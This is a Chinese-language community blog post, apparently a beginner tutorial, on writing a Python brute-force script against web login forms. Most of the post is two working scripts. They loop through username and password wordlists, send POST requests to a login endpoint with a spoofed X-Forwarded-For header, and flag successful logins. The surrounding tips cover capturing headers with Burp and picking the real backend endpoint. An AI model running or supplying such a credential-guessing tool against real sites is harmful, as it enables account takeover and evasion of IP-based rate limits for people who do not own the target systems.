小白如何利用python编写爆破脚本(一)

举报
坠入极夜的夏 发表于 2024/06/20 19:42:02 2024/06/20
【摘要】 小白如何利用python编写爆破脚本(一)

咱们先上个简单的脚本,边看着代码边说

# 导入requests库,它允许你发送HTTP请求并处理服务器的响应
import requests
# 读取文件usr.txt中的内容,这通常包含多个用户名,每个用户名一行
use = open('usr.txt', 'r').read()
# 读取文件pwd.txt中的内容,这通常包含多个密码,每个密码一行
pwd = open('pwd.txt', 'r').read()
# 设置目标URL,这里是一个本地运行的web服务器上的登录页面
url = "http://127.0.0.1:80/login.php"
# 对usr.txt中的每一个用户名使用\n作为分隔符
for i in use.split('\n'):
    # 对pwd.txt中的每一个密码使用\n作为分隔符
    for n in pwd.split('\n'):
        # 创建一个字典,其中包含登录表单的数据
        payload = {'username': i,
                   'password': n,
                   'login': ''}
        # 创建一个字典,其中包含HTTP头部信息
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT)',  # 模拟浏览器的User-Agent字符串
                   'X-Forwarded-For': '127.0.0.1'}  # 指定伪造的客户端IP地址
        # 使用POST方法向URL发送数据(payload),同时附带headers
        r = requests.post(url, data=payload, headers=headers)
        # 设置响应的编码方式为"utf-8",这样可以直接处理中文等非ASCII字符
        r.encoding = "utf-8"
        # 构建一个字符串,包含此次尝试的响应码、用户名、密码以及响应的长度
        rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
        # 打印构建好的字符串,用于监控每次尝试的结果
        print(rr)

这就是一个简单的通过post请求爆破账号密码的脚本,使用的是python的requests模块的功能

具体工作流程:

  1. 读取用户名.密码文件,确定目标url
  2. 利用循环向目标url发送post表单
  3. 将返回包解码并判断返回的响应码,字节
  4. 输出结果

HTTP头的获取

  1. 咱们可以利用burp抓个包,把头文件放在headers列表中,
  2. 有的浏览器插件(比如部分hackbar)也能看头
  3. F12管理员面板
HTTP头直接复制粘贴即可,(但有的网站的cookie有加密,亦或者是动态cookie,还有ip访问次数限制,但这里先不说这个)

post请求爆破

  1. 先抓一下登录功能的包,看一下要交几个参数变量
  2. 将相对应的变量放入payload列表中后利用for循环进行数据发送并捕捉回显

注意/改进

  1. 有的网站登录功能的前后端分开,(即login.html负责输入,login.php负责判断),这样的网站的爆破目标url需设置为php,因为php才是真实的判断登录是否成功的功能点,html只不过是一个媒介而已
  2. 响应文本若含有中文需要进行解码,可以通过查看源码获取页面的编码,通过xxx.encoding="编码方式"来进行解码,不然中文会乱码
  3. 将响应文本处理为,响应码,字节,用户名,密码等格式,也可以增加判断登录成功的条件,比如加入success列表,success=['登陆成功','欢迎','您好'],等等等,通过any(x in success for x in r.text)来进行判断是否成功
  4. 增加使用自定义字典

增加相应的功能后的代码:

import requests
from time import sleep
import re
"""
    爆破程序
    1.读取用户名密码文件
    2.读取url
    3.爆破
    4.输出结果
"""
print("=======================爆破程序准备中=======================")
success = ['欢迎回来', '登陆成功', '欢迎']
use = open('usr.txt', 'r').read()
pwd = open('pwd.txt', 'r').read()

url = "http://127.0.0.1:80/login.php"
sleep(0.5)
print("=========================开始爆破!=========================")
# sleep(0.5)
choice = input('选择爆破结果输出模式:\n a:输出全部结果 s:只输出成功结果\n')
for i in use.split('\n'):
    for n in pwd.split('\n'):
        # print(i,n)

        payload = {'username': i,
                   'password': n,
                   'login': ''}
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT)',
                   'X-Forwarded-For': '127.0.0.1'}
        r = requests.post(url, data=payload, headers=headers)
        r.encoding = "utf-8"
        if choice == "a":
            rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
            print(rr)
        if choice == "s" and any(s in r.text for s in success):
            print("=========================爆破成功!=========================")
            rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
            print(rr)
sleep(0.5)
input("=========================爆破结束!=========================\n按回车键退出")
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。